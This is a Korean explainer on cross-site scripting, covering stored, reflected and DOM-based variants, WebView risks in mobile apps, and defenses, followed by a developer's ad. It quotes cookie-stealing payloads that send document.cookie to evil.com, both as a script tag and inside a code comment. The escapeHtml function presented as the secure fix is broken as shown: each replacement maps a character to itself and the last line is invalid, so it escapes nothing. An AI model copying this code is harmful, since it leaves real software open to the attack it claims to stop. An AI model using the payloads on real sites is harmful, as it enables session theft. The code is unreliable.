XSS(Cross-Site Scripting)는 공격자가 다른 사용자에게 표시되는 콘텐츠에 악성 JavaScript 코드를 주입하는 웹 애플리케이션 취약점 유형입니다. OWASP Top Ten(2025)에 따르면, XSS는 여전히 가장 흔한 취약점 중 하나로 웹 애플리케이션의 60% 이상에 영향을 미칩니다. 크로스사이트 스크립팅은 세션 쿠키 도용, 사용자를 피싱 사이트로 리디렉션, 실시간 페이지 콘텐츠 수정을 가능하게 합니다.
핵심 요약
XSS(Cross-Site Scripting)는 공격자가 웹 페이지에 JavaScript 코드를 주입할 수 있게 하는 취약점으로, 이후 피해자의 브라우저에서 실행됩니다. 브라우저는 신뢰할 수 있는 웹사이트에서 페이지를 로드하고 주입된 스크립트를 사이트의 합법적인 코드와 동일한 권한으로 실행합니다. 이를 통해 공격자는 쿠키, 세션 스토리지, 페이지의 DOM 트리에 액세스하고 피해자를 대신하여 요청을 보낼 수 있습니다. XSS 취약점은 애플리케이션이 적절한 이스케이프나 검증 없이 사용자 데이터를 HTML 페이지에 삽입할 때 발생합니다.
크로스사이트 스크립팅이라는 용어는 2000년 Microsoft 보안 게시판에서 처음 등장했습니다. 지난 25년 동안 XSS는 그 중요성을 잃지 않았습니다. HackerOne(2025)에 따르면, XSS는 플랫폼에 등록된 모든 취약점의 약 22%를 차지합니다. XSS가 지속되는 이유는 사용자 데이터의 모든 진입 지점을 제어하기 어렵기 때문입니다. 데이터가 처리 없이 HTML 코드에 반영되는 경우 모든 입력 필드, URL 매개변수, HTTP 요청 헤더 또는 파일 이름이 공격 벡터가 될 수 있습니다.
XSS 공격은 세션 쿠키 도용으로 이어져 공격자가 비밀번호 없이 피해자의 계정에 로그인할 수 있습니다. 다른 결과로는 피싱 사이트로의 리디렉션, 페이지 콘텐츠 변조, 개인 데이터 도용, 맬웨어 설치(드라이브바이 다운로드)가 있습니다. 2023년 Salesforce Community Cloud 플랫폼에 대한 XSS 공격은 수천 개의 기업 고객 데이터에 영향을 미쳐 대규모 플랫폼도 이 취약점에 면역되지 않음을 보여주었습니다.
XSS 분류는 악성 코드 전달 방법에 따라 공격을 세 가지 주요 유형으로 나눕니다. 각 유형은 다른 보호 접근 방식이 필요합니다. Stored XSS는 데이터베이스 출력 이스케이프로, Reflected는 URL 매개변수 이스케이프로, DOM-based는 DOM API를 안전하게 사용하여 차단됩니다. 차이점을 이해하는 것은 효과적인 보안 전략의 기초입니다.
| 유형 | 스크립트 저장 | 전달 벡터 | 탐지 난이도 |
|---|---|---|---|
| Stored XSS | 서버 데이터베이스 | 댓글, 프로필, 메시지 | 중간 |
| Reflected XSS | URL 매개변수 | 피싱 링크, 이메일 | 높음 |
| DOM-based XSS | 클라이언트 측 JavaScript | URL 프래그먼트, postMessage | 매우 높음 |
가장 위험한 XSS 유형입니다. 공격자는 서버가 데이터베이스에 저장하고 페이지 로드 시마다 표시하는 데이터에 스크립트를 주입합니다. 일반적인 벡터는 댓글 필드입니다. 공격자는 <script>document.location='https://evil.com/?c='+document.cookie</script>가 포함된 댓글을 게시합니다. 이 댓글이 있는 페이지를 로드하는 모든 사용자는 자신의 쿠키를 공격자에게 보냅니다. Stored XSS는 피해자가 페이지를 방문하는 것 외에 아무런 조치가 필요하지 않으며, 이는 소셜 네트워크, 포럼 및 블로그에 특히 위험합니다.
악성 스크립트는 HTTP 요청(일반적으로 URL 매개변수)으로 전달되고 서버가 응답에서 즉시 반사합니다. 공격자는 https://example.com/search?q=<script>...</script>와 같은 링크를 만들어 피싱, 소셜 네트워크 또는 이메일을 통해 배포합니다. 링크를 클릭한 피해자는 입력한 검색어(스크립트)가 이스케이프 없이 표시되는 페이지를 받습니다. Reflected XSS는 사회 공학이 필요하며, 피해자가 링크를 클릭해야 하므로 위험은 줄어들지만 제거되지는 않습니다.
Stored 및 Reflected와 달리 DOM-based XSS는 서버에 데이터를 보낼 필요가 없습니다. 취약점은 클라이언트 측 JavaScript가 안전한 처리 없이 URL, document.referrer, postMessage 또는 localStorage의 사용자 데이터를 DOM에 삽입할 때 발생합니다. 예를 들어, document.getElementById('output').innerHTML = location.hash.substring(1)과 같은 코드는 URL 프래그먼트(#<img onerror='...'>)의 모든 HTML과 스크립트를 실행합니다. DOM-based XSS는 서버가 악성 페이로드를 수신하지 않기 때문에 탐지하기 가장 어렵습니다. 완전히 클라이언트에서 처리됩니다.
// DOM-based XSS 예시(취약한 코드)
// userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"인 경우
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — 위험: 원시 HTML 삽입
document.write('<div>' + userInput + '</div>');
// 안전한 대안 — textContent 사용
document.getElementById('output').textContent = userInput;
XSS는 웹의 기본 속성을 악용합니다. 브라우저는 신뢰할 수 있는 도메인에서 받은 JavaScript를 실행합니다. 공격자가 서버의 HTML 응답에 코드를 주입할 방법을 찾으면 브라우저는 합법적인 코드와 동일한 권한으로 실행합니다. 공격은 세 단계로 진행됩니다. 콘텐츠에 악성 코드 주입, 피해자 브라우저에 콘텐츠 전달, DOM, 쿠키 및 스토리지에 액세스하여 코드 실행입니다.
공격자는 서버가 이스케이프 없이 HTML 응답에 포함하는 값이 있는 필드, URL 매개변수 또는 헤더인 진입점을 찾습니다. 일반적인 진입점으로는 검색창, 댓글 필드, 사용자 이름, 아바타 URL, 쿠키, HTTP 헤더(User-Agent, Referer)가 있습니다. 최신 프레임워크(React, Angular, Vue)는 자동으로 출력을 이스케이프하지만, 개발자는 dangerouslySetInnerHTML, bypassSecurityTrustHtml 또는 v-html을 통해 이스케이프를 비활성화할 수 있습니다.
Reflected XSS의 경우 공격자가 악성 링크를 배포합니다. Stored XSS의 경우 대상 사이트에 콘텐츠를 게시하기만 하면 페이지 방문자 모두가 피해자가 됩니다. DOM-based XSS는 특정 URL 프래그먼트로 페이지가 로드될 때 활성화됩니다. 세 단계 모두 자동화될 수 있습니다. 광고 배너(타사 콘텐츠)에서 XSS가 발견되면 배너가 제거될 때까지 사이트의 모든 사용자에게 영향을 미칩니다.
// 검색에서 Reflected XSS 예시(취약한 백엔드)
// 매개변수 q를 이스케이프하는 대신 서버가 HTML에 삽입
// Express.js — 취약한 핸들러:
app.get('/search', (req, res) => {
const query = req.query.q; // 사용자 입력
res.send(`<h1>Results for: ${query}</h1>`);
});
// 안전한 버전 — encodeURI 또는 템플릿 엔진을 통한 이스케이프:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
모바일 애플리케이션도 웹사이트보다는 덜하지만 XSS 공격에 취약합니다. 주요 벡터는 WebView와 하이브리드 프레임워크(Cordova, Capacitor, React Native with WebView)입니다. 앱이 WebView에서 웹 콘텐츠(특히 HTML 이메일, 기사, 메시지와 같은 사용자 콘텐츠)를 로드하는 경우 XSS 취약점으로 인해 JavaScript 브리지를 통해 네이티브 기능에 액세스할 수 있는 앱 내 JavaScript 실행이 발생할 수 있습니다.
Android WebView는 기본적으로 JavaScript를 실행합니다. 앱이 loadDataWithBaseURL()을 통해 HTML 문자열을 로드하거나 사용자 콘텐츠를 표시하는 경우 XSS 공격으로 공격자가 JavaScript 인터페이스(addJavascriptInterface)에 액세스할 수 있습니다. Google은 API < 17에서 @JavascriptInterface 사용을 금지했지만, 오래된 앱의 레거시 코드는 여전히 존재합니다. 보호: 필요하지 않은 경우 WebView에서 JavaScript를 비활성화하고 세이프 브라우징을 사용하세요.
React Native는 UI에 WebView를 사용하지 않습니다. 컴포넌트는 네이티브 뷰에서 렌더링됩니다. 그러나 react-native-webview 또는 리치 텍스트 컴포넌트를 통해 HTML을 표시할 때 XSS 위험이 다시 발생합니다. Flutter는 자체 렌더링 엔진(Skia)을 사용하고 HTML 위젯에서 JavaScript를 지원하지 않지만(flutter_html은 script 태그를 실행하지 않음), WebView 플러그인(webview_flutter)은 네이티브 WebView와 유사하게 취약합니다. 모범 사례 — 신뢰할 수 없는 HTML을 WebView에 절대 전달하지 마십시오.
// Android에서 안전한 WebView 구성
val webView = findViewById<WebView>(R.id.webview)
// 상호작용이 필요하지 않은 경우 JavaScript 비활성화
webView.settings.javaScriptEnabled = false
// 로드 전 HTML 삭제
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
XSS 보호는 세 가지 원칙에 기반합니다. 사용자 입력을 신뢰하지 말 것, 출력 전에 이스케이프할 것, Content Security Policy를 사용할 것. 출력 인코딩이 가장 중요한 방법입니다. 사용자로부터 받은 모든 데이터는 HTML, JavaScript, CSS 또는 URL에 삽입하기 전에 이스케이프되어야 합니다. 최신 템플릿 엔진(Twig, Handlebars, JSX, Blade)은 개발자가 특수 메서드로 이스케이프를 비활성화하지 않는 한 자동으로 이를 수행합니다.
이스케이프는 데이터 삽입 컨텍스트에 따라 다릅니다. HTML 컨텍스트에서는 <, >, & 및 따옴표가 이스케이프됩니다. JavaScript 컨텍스트에서는 백틱,
및 </script>가 이스케이프됩니다. CSS 컨텍스트에서는 제어 문자가, URL 컨텍스트에서는 URL 인코딩이 사용됩니다. 컨텍스트 오류(예: HTML 이스케이프된 문자열을 onclick 속성에 삽입)는 onclick이 JavaScript 컨텍스트에서 실행되어 다른 이스케이프가 필요하기 때문에 XSS를 방지하지 못합니다.
CSP는 브라우저가 스크립트, 스타일 및 기타 리소스를 로드할 수 있는 소스를 제한하는 HTTP 헤더입니다. 엄격한 CSP(unsafe-inline 없음, unsafe-eval 없음)는 XSS 벡터를 포함한 인라인 스크립트 실행을 차단합니다. Google Security Blog(2025)에 따르면 CSP가 있는 사이트는 XSS 공격의 95%를 차단합니다. 예: Content-Security-Policy: default-src 'self'; script-src 'self'는 모든 외부 및 인라인 스크립트를 금지합니다. CSP는 동일한 도메인에서 스크립트가 로드되는 경우 Stored XSS를 방지하지 않지만, 공격자의 추가 노력이 필요합니다.
쿠키에 HttpOnly 플래그를 설정하면 JavaScript(document.cookie)를 통한 액세스를 차단하여 XSS를 통한 세션 쿠키 도용을 방지합니다. Secure 플래그는 HTTPS를 통해서만 쿠키가 전송되도록 보장합니다. HttpOnly + Secure + SameSite=Lax의 조합은 XSS를 통한 세션 쿠키 도용을 사실상 불가능하게 만듭니다. 그러나 XSS는 여전히 사용자를 대신해 작업(예: 요청 전송)을 수행할 수 있으므로 HttpOnly는 만병통치약이 아니라 포괄적인 방어의 일부입니다.
| 보호 방법 | 보호하는 XSS 유형 | 효과 |
|---|---|---|
| 출력 이스케이프 | Stored, Reflected, DOM-based | 99% |
| CSP | 인라인 XSS, eval 기반 | 95% |
| HttpOnly 쿠키 | XSS를 통한 세션 도용 | 100%(읽기 불가) |
| 입력 검증 | Stored, Reflected | 50%(유형에 따라 다름) |
| TRUSTED TYPES | DOM-based(innerHTML) | 90% |
정기적인 XSS 테스트는 안전한 개발 CI/CD 파이프라인의 필수 부분입니다. 자동화된 스캐너는 XSS 취약점의 최대 80%를 찾습니다. 나머지는 수동 침투 테스트가 필요합니다. 가장 좋은 방법은 SAST(정적) 분석, DAST(동적) 스캔 및 사용자 데이터 진입점에 초점을 맞춘 코드 검토의 조합입니다.
모바일 애플리케이션의 경우 XSS 테스트에는 WebView 분석이 포함됩니다. JavaScript 인터페이스 확인, URL 스킴 처리, loadDataWithBaseURL에 HTML 전달 확인 등이 포함됩니다. 하이브리드 애플리케이션에서 postMessage 처리를 테스트하고 JavaScript 브리지를 통해 전달되는 데이터를 확인하는 것도 권장됩니다. 에뮬레이터와 프록시(Burp Suite)를 사용하여 모바일 앱 트래픽을 가로채고 수정하세요.
자주 묻는 질문
Stored XSS는 악성 스크립트를 서버(데이터베이스)에 저장하고 페이지 로드 시마다 트리거됩니다. Reflected XSS는 URL 매개변수를 통해 스크립트를 전달하며 악성 링크를 클릭할 때만 공격이 트리거됩니다. Stored가 더 위험한 이유는 피해자의 조치가 필요하지 않기 때문입니다. 감염된 페이지를 열기만 하면 됩니다.
아니요, HTTPS는 XSS를 방지하지 않습니다. HTTPS는 브라우저와 서버 간 트래픽을 암호화하지만 서버 측 사용자 입력 처리에는 영향을 미치지 않습니다. XSS 취약점은 전송 수준이 아닌 애플리케이션 수준에 존재합니다. HTTPS는 필수 보안 최소 사항이지만 XSS에 대한 방어책은 아닙니다.
대부분의 경우 XSS는 브라우저 또는 WebView 샌드박스 내에서 실행되며 파일 시스템이나 장치 하드웨어에 액세스할 수 없습니다. 그러나 JavaScript 인터페이스가 활성화된 Android WebView에서는 XSS 스크립트가 네이티브 애플리케이션 메서드를 호출할 수 있습니다. iOS에서는 적절한 브리지가 구성된 경우 WKWebView도 JavaScriptCore를 통해 데이터를 노출할 수 있습니다.
모바일 장치에 프록시를 구성한 Burp Suite 또는 OWASP ZAP를 사용하세요. 애플리케이션 요청을 가로채고, 매개변수를 수정하고, XSS 페이로드를 전송하세요. loadDataWithBaseURL을 통한 HTML 처리 및 JavaScript 브리지 존재 여부를 WebView에서 확인하세요. React Native의 경우 WebView 컴포넌트를 별도로 테스트하세요.
DOM-based XSS는 페이지의 JavaScript가 URL 또는 다른 소스에서 데이터를 가져와 검증 없이 HTML에 삽입하는 공격입니다. 서버는 참여하지 않으며, 악성 코드는 완전히 브라우저에서 처리됩니다. 일반적인 예: 사이트가 location.hash에서 텍스트를 가져와 innerHTML을 통해 삽입하여 HTML 코드 실행을 허용합니다.
요약
턴키 방식의 모바일 애플리케이션을 개발해 드립니다
IT Sectr는 2017년부터 스타트업과 기업을 위한 iOS 및 Android 애플리케이션을 만듭니다. 저희가 상담해 드리고 최적의 솔루션을 제안하겠습니다.